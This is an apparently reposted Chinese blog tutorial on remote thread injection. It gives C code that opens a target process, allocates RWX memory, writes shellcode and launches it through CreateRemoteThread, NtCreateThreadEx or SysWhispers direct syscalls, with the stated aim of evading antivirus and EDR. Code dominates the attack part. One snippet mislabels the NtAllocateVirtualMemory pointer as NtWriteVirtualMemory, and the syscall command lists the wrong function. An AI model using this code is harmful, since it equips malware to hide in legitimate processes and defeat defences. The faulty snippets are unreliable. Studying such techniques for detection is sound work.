一文读懂远程线程注入

news2024/9/21 13:19:25

在红队行动中,红队的目的都是要在不暴露自身行动的前提下,向蓝队发动攻击。他们使用各种技术和程序来隐藏C2连接和数据流。攻击活动的第一步是获得初始访问权。他们会使用定制的恶意软件和有效载荷来躲避防杀软和EDR等防御工具。

在这些典型的攻击活动中,我们如果能够通过一些实践来了解其攻击过程,无论是防御或者攻击,都能够起到一个知识储备的作用。

相关链接:

https://www.hetianlab.com/expc.do?ec=91bd2094-4ebb-4438-b969-bfd8ee7f48b9&pk_campaign=weixin-wemedia  

进程注入是用来逃避防御机制的重要技术之一。远程线程注入是其中的一种简单可靠的技术,它的工作原理是将shellcode注入到另一个合法的进程中,并为该进程创建一个线程来运行payload。

我们通常会使用标准的Windows API、Native API和直接syscalls来实现远程线程注入,这些实现方式都有各自的优缺点,下图展示了标准的windows API、Native API和直接syscalls在windows架构中的工作原理。

标准的windows API

优点:易于使用

缺点:可被大多数AV/EDR检测到

我们首先测试使用标准的Windows API,因为它比其他两种方式更简单。首先,我们需要找到我们的目标进程ID。我们需要创建一个名为find_process的函数,它可以得到一个进程名。它使用CreateToolhelp32Snapshot  API得到当前进程列表,并使用Process32First和Process32Next逐一查看,并将进程名与我们的目标进程进行比较。使用Process32First和Process32Next API会得到一个指向PROCESSENTRY32结构的指针,这个结构可以保存进程的信息,比如它的名字和id。如果它成功地找到了进程,就会返回它的进程ID。

DWORD find_process(char *process_name){

 PROCESSENTRY32 process_entry;
 process_entry.dwSize = sizeof(PROCESSENTRY32);

 //get the list of processes
 HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

 //check processes to find TARGET_PROCESS_NAME
 if (Process32First(snapshot, &process_entry) == TRUE){
  
         while (Process32Next(snapshot, &process_entry) == TRUE){
          if (stricmp(process_entry.szExeFile, process_name) == 0){  
        CloseHandle(snapshot);
        return process_entry.th32ProcessID;
             }
         }
     }

 CloseHandle(snapshot);
 return 0;
}

下一步,我们需要使用OpenProcess 函数打开目标进程。我们可以传递我们的参数,包括从上一步得到的目标进程id,它将返回该进程的句柄。

HANDLE target_process_handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, target_process_id);

现在我们需要使用VirtualAllocEx函数在目标进程中为我们的shellcode分配空间,我们应该给这个空间分配PAGE_EXECUTE_READWRITE(读、写、执行)权限,这个函数返回分配区域的首地址。

LPVOID remote_process_buffer = VirtualAllocEx(target_process_handle, NULL, sizeof(buf), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);

现在我们应该使用WriteProcessMemory函数将我们的shellcode写入分配的内存区域。

WriteProcessMemory(target_process_handle, remote_process_buffer, buf, sizeof(buf), NULL);

这时候可以在目标进程中创建一个线程,并运行我们之前写到内存页中的shellcode.我们可以使用CreateRemoteThread函数.还应该传递0作为dwCreationFlags参数,表示在创建后立即运行线程。

CreateRemoteThread(target_process_handle, NULL, 0,(LPTHREAD_START_ROUTINE) remote_process_buffer,NULL,0, NULL);

为了能在kali中编译代码,我们需要使用MinGW编译器。

x86_64-w64-mingw32-gcc main.c -o rti.exe

我们将输出的文件发送到我们的windows机器上运行它。如果我们打开process hacker并查看notepad.exe进程,在内存部分有一个很可疑的具有RWX权限的内存页,如果我们打开它,就可以看到里面的shellcode。

Native API

优点:能够绕过一些AV/EDR

缺点:

  • 很难使用

  • 仍可能被大多数AV/EDR检测到。

  • 无法在所有版本的Windows上运行

为了方便与操作系统进行交互,程序员一般使用微软推荐的标准API(Win 32 API)。标准Windows APIs是在Native APIs的基础上包装产生的。Native APIs 或 Undocumented APIs 都可以在 ntdll.dll 库中找到。微软不推荐使用这些API。你可以查看第二张图,可以很清楚看到这些API是如何工作的。native API也使用syscalls与os内核交互,微软使用这种架构是因为它可以在不影响标准API的情况下改变操作系统内核。

Native API也被称为无文档API,因为你通常找不到它们的官方文档。我们主要是通过查看其他人的代码或者别人总结的非官方文档,来查看它们的使用方法。

在上一节中,我们使用了标准的API来完成我们的工作,这里我们再深入一层,尝试使用原生API。首先,我们需要将ntdll.dll加载到我们的恶意软件进程中.然后我们需要定义与我们要使用的原始函数格式完全相同的函数指针,并使用这些函数的基地址来初始化这些指针.

我们可以使用LoadLibraryW函数,动态加载ntdll.dll或任何其他dll到我们的运行进程中,同时它会返回该库的一个句柄。

HMODULE hNtdll = LoadLibraryW(L"ntdll");

然后我们定义函数指针类型,并使用GetProcAddress函数获取函数的基地址,并将其赋值给指针,以下是NtOpenProcess的使用例子。

typedef NTSTATUS(NTAPI* pNtOpenProcess)(PHANDLE ProcessHandle, ACCESS_MASK AccessMask, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientID);
pNtOpenProcess NtOpenProcess = (pNtOpenProcess)GetProcAddress(hNtdll, "NtOpenProcess");

我们用与NtOpenProcess函数相同的参数定义了我们的函数类型。对于NtWriteVirtualMemory , NtAllocateVirtualMemory , NtCreateThreadEx函数都要这样做。

NtOpenProcess

和上一节一样,我们从打开目标进程开始做,但这次使用的是NtOpenProcess函数。这个函数并不返回目标进程的Handle,我们需要传递一个句柄指针作为第一个参数。

#define InitializeObjectAttributes(p,n,a,r,s) { \
(p)->Length = sizeof(OBJECT_ATTRIBUTES); \
(p)->RootDirectory = (r); \
(p)->Attributes = (a); \
(p)->ObjectName = (n); \
(p)->SecurityDescriptor = (s); \
(p)->SecurityQualityOfService = NULL; \
}

typedef struct _CLIENT_ID
{
 PVOID UniqueProcess;
 PVOID UniqueThread;
} CLIENT_ID, *PCLIENT_ID;

typedef struct _UNICODE_STRING {
 USHORT Length;
 USHORT MaximumLength;
 PWSTR  Buffer;
} UNICODE_STRING, *PUNICODE_STRING;


typedef struct _OBJECT_ATTRIBUTES {
 ULONG           Length;
 HANDLE          RootDirectory;
 PUNICODE_STRING ObjectName;
 ULONG           Attributes;
 PVOID           SecurityDescriptor;
 PVOID           SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES ;


OBJECT_ATTRIBUTES oa;
InitializeObjectAttributes(&oa, NULL,0,NULL,NULL);
CLIENT_ID ci = { (HANDLE)procid, NULL };

现在我们可以使用 NtOpenProcess函数

NtOpenProcess(&target_process_handle,PROCESS_ALL_ACCESS, &oa, &ci);

NtAllocateVirtualMemory

我们使用NtAllocateVirtualMemory函数在目标进程中分配内存,我们定义该函数的原型。

typedef NTSTATUS(NTAPI* pNtAllocateVirtualMemory)(HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect)

然后我们得到函数的基地址。

pNtWriteVirtualMemory NtWriteVirtualMemory = (pNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory")

我们把这个地址称为 "NtWriteVirtualMemory"

NtAllocateVirtualMemory(target_process_handle, &remote_process_buffer, 0,&buf_len ,MEM_COMMIT, PAGE_EXECUTE_READWRITE)

我们传递了一个名为remote_process_buffer的指针,它代表的是所分配空间的基地址。

NtWriteVirtualMemory

像之前的步骤一样,先定义NtWriteVirtualMemory函数原型,我们应该将我们的shellcode,shellcode的长度,以及分配空间的基地址作为参数进行传递

typedef NTSTATUS(NTAPI* pNtWriteVirtualMemory)(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, ULONG NumberOfBytesToWrite, PULONG NumberOfBytesWritten OPTIONAL);
pNtWriteVirtualMemory NtWriteVirtualMemory = (pNtWriteVirtualMemory)GetProcAddress(hNtdll, "NtWriteVirtualMemory");
NtWriteVirtualMemory(target_process_handle, remote_process_buffer, buf, buf_len, NULL);

NtCreateThreadEx

现在我们可以在目标进程中创建一个线程并运行我们的shellcode了。我们使用NtCreateThreadEx在目标进程中创建一个远程线程并运行我们的shellcode。

NtCreateThreadEx(&thread_handle, 0x1FFFFF, NULL, target_process_handle, (LPTHREAD_START_ROUTINE)remote_process_buffer,NULL, FALSE, NULL, NULL, NULL, NULL)

Direct Syscalls

优点:用户系统中所有的API监控工具都无法检测到。

缺点:

  • 可能无法在所有版本的Windows上运行

  • 很难使用

在前面的步骤中,任何API监控程序和EDRs都可以检测到我们的API调用,阻止我们的攻击。现在,如果我们直接使用syscalls,用户系统就没有任何工具可以检测到API的调用。

syscalls的一个严重缺点就是他的运行对于操作系统的版本的依赖程度很高,我们的代码可能无法在不同的windows版本上运行。然而,通过使用像SysWhisper 这样的工具,我们就可以让软件在不同版本的windows系统上运行。运行下面的命令就可以在我们的windows 10系统上生成相应的文件。

syswhispers.py --function NtCreateProcess,NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx -o syscall --versions 10

这个命令会生成两个文件syscall.asm和syscall.h,我们需要将它们添加到visual studio项目中。然后我们应该在项目中启用MASM,并将头文件包含在我们的主代码中。这里可以像Native API一样调用函数,但这里我们不需要加载ntdll.dll,获取函数的基地址,和定义函数原型。我觉得SysWhisper让利用syscalls变得非常简单了。

文章至此,也该告一段落了,文中涉及更多的是windows底层的知识,主要讲解了三种常见的方法,希望在写文章的同时,能给各位师傅带来一点点的启发和灵感。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/138763.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

代码中大量爆红,IDE设置jdk版本,及设置后无效的解决

代码大量爆红&#xff0c;检查ide设置的jdk版本是否与项目的java版本一致&#xff0c;做以下配置 1.project structrue 2.maven 3.如果以上设置以后没有效果&#xff0c;就把项目中的.ide文件删除&#xff0c;并且pom里面加上下面的代码&#xff0c;重启IDE。 <build&g…

植物大战僵尸:植物栏无冷却的找法

通过使用CE遍历内存&#xff0c;定位到植物无冷却的核心代码处&#xff0c;并通过修改关键的跳转来实现所有植物的无冷却。 第一种遍历修改方式 无冷却的遍历技巧1&#xff1a; 打开CE->回到游戏种植一颗向日葵 -> 扫描未知初始数值然后切回游戏 ->马上切回CE ->…

< JavaScript技术分享: 大文件切片上传 及 断点续传思路 >

文章目录&#x1f449; 前言及含义切片上传断点续传&#x1f449; 一、实现思路&#x1f449; 二、使用场景&#x1f449; 参考文献&#x1f449; 伸手党福利&#xff1a; 即拿即用&#xff08;前/后端思路均有&#xff09;往期内容 &#x1f4a8;&#x1f449; 前言及含义 在…

MVVM学习

mvvm基础知识Model&#xff1a;repository Entity 数据库 网络访问等对数据进行直接操作的代码View:视图代码 xml activity fragment adapter 等ui层的一些代码ViewModel:视图模型 用来和View ,Model层交互&#xff0c;将Model层的数据显示到View上&#xff0c;并处理View层的事…

Android Softap Mac地址随机化

目录 Android Q以后 Android Q 获取方式 Android Q以后 在SoftapManager创建的时候,可以跟下 Android Q Q:WifiManager#getWifiApConfiguration()只能获取到SSID和pwd等,无法获取到对应的BSSID。 原因分析:Android Q Softap的MAC地址设置是在HAL层,并没有给Framework赋…

result.isAck()报错

IDEA 的 bug&#xff0c;两张图解释

图像平滑处理

平滑处理是指在某些数学和统计分析中&#xff0c;对于原始数据做出拟合&#xff0c;并生成更平滑的数据。这通常是为了抑制原始数据中的离群点或噪声&#xff0c;使得数据更具可读性和可解释性。 在图像处理中常用于模糊处理和降低噪声。平滑滤波器使用给定邻域内的像素平均灰度…

Word处理控件Aspose.Words功能演示:在 C# .NET 中将 Word 转换为 PDF - 完整指南

Aspose.Words 是一种高级Word文档处理API&#xff0c;用于执行各种文档管理和操作任务。API支持生成&#xff0c;修改&#xff0c;转换&#xff0c;呈现和打印文档&#xff0c;而无需在跨平台应用程序中直接使用Microsoft Word。此外&#xff0c; Aspose API支持流行文件格式处…

JS面试题--JavaScript基础

1. new操作符的实现原理 创建一个对象将构造函数的作用域赋给新对象&#xff08;也就是将对象的__proto__属性指向构造函数的prototype属性&#xff09;指向构造函数中的代码&#xff0c;构造函数中的this指向该对象&#xff08;也就是为这个对象添加属性和方法&#xff09;返…

Arthas tt -t , tt -i 以及 watch相关使用理解 解析入参和结果等

Arthas tt 系列作用 方法执行数据的时空隧道&#xff0c;记录下指定方法每次调用的入参和返回信息&#xff0c;并能对这些不同的时间下调用进行观测 一、 tt -t 作用和一般用法 tt -t 一般用于监控某一个方法的调用记录&#xff0c;如果调用多此会出现多条记录&#xff0c;一…

怎么申请icp备案?怎么查询icp备案是否申请成功

什么是icp备案号&#xff1f; 简单来说&#xff0c;icp备案号&#xff0c;就是你网站的备案号码。icp备案号就是当你的网站提交备案资料&#xff0c;经工业信息化产业部&#xff08;及各地通信管理局&#xff09;审核通过后&#xff0c;会通过电子邮箱发送一个备案号码给你…

JVM内存结构及内存溢出OOM

JVM内存结构JVM的内存结构大致分为五个部分&#xff0c;分别是程序计数器、虚拟机栈、本地方法栈、堆和方法区。除此之外&#xff0c;还有由堆中引用的JVM外的直接内存。下面将展开讲解这五个部分。程序计数器程序计数器(Program Counter Register)&#xff0c;用于记录下一条J…

券商接口关闭的情况下怎么做到实时量化买入?通达信破解接口可以吗?

现在券商接口关闭的情况下怎么做到实时量化买入&#xff1f;量化买入有一些第三方软件是可以破解券商接口的。像通达信破解接口它有一个什么机构版还是什么&#xff0c;他可以同时几个券商一起买入&#xff0c;当然这个你需要用手工输入。像其他的像一些A计划&#xff0c;它就是…

【 java 集合】List接口常用实现类对比以及ArrayList和LinkedList源码分析

&#x1f4cb; 个人简介 &#x1f496; 作者简介&#xff1a;大家好&#xff0c;我是阿牛&#xff0c;全栈领域优质创作者。&#x1f61c;&#x1f4dd; 个人主页&#xff1a;馆主阿牛&#x1f525;&#x1f389; 支持我&#xff1a;点赞&#x1f44d;收藏⭐️留言&#x1f4d…

绿控传动冲刺科创板上市:连年亏损,现金流紧张,计划募资11亿元

近日&#xff0c;苏州绿控传动科技股份有限公司&#xff08;下称“绿控传动”&#xff09;在上海证券交易所递交招股书&#xff0c;准备在科创板上市。 本次冲刺上市&#xff0c;绿控传动计划募资10.72亿元&#xff0c;其中7.16亿元用于年产新能源商用车电驱动系统10万套项目&a…

泛微特色政务应用:对内协同办公、对外高效服务,推动政务数字化

近年来&#xff0c;国家不断深入建设“数字化政府”&#xff0c;政务服务“网上办”、“掌上办”、“一网通办”已经成为政务服务新方向。 泛微数字化运营平台为各级政府机关、行政事业单位&#xff0c;打造覆盖各级市、区、县、乡镇街道、村及各级社区部门的网上协同办公平台…

Qt编译CTK

文章目录一、CTK简介二、CTK下载三、CTK编译一、CTK简介 CTK是什么 CTK 为支持生物医学图像计算的公共开发包&#xff0c;其全称为 Common Toolkit CTK 提供了什么 当前&#xff0c;CTK 工作的主要范围包括&#xff1a; DICOM&#xff1a;提供了从 PACS 和本地数据库中查询和…

基础数据结构——链表

目录 一、链表 1、数组的缺点 2、链表 3、单向链表 4、双向链表 5、Python链表的实现 二、例题 一、链表 1、数组的缺点 1&#xff09;需要占用连续的空间 若某个数组很大&#xff0c;可能没有这么大的连续空间给它用。 2&#xff09;不方便删除和插入 例如删除数组…

MySQL如何查看未提交的事务SQL

点击上方蓝字关注我MySQL中经常遇到事务中的SQL正在执行或执行完成后未提交&#xff0c;如何找出对应的SQL&#xff1f;1. 查看正在执行的SQL查看事务中正在执行的SQL方式有多种&#xff0c;例如1.1 通过processlist查看会话1&#xff1a;执行1个SQLmysql> begin; Query OK…

AC7811-BLDC无感控制代码调试与测试记录

接线注意 供电 对于 AC781x 电机 Demo 板&#xff0c;其 MCU 控制板和功率板的 12V 输入只需接一路即可&#xff0c;如果电机额定电压为 12V&#xff0c;那么将功率板中的功率管供电模式选择跳点(靠近 D5)短接即可&#xff0c;不需要再额外供电&#xff1b;如果电机的额定电压…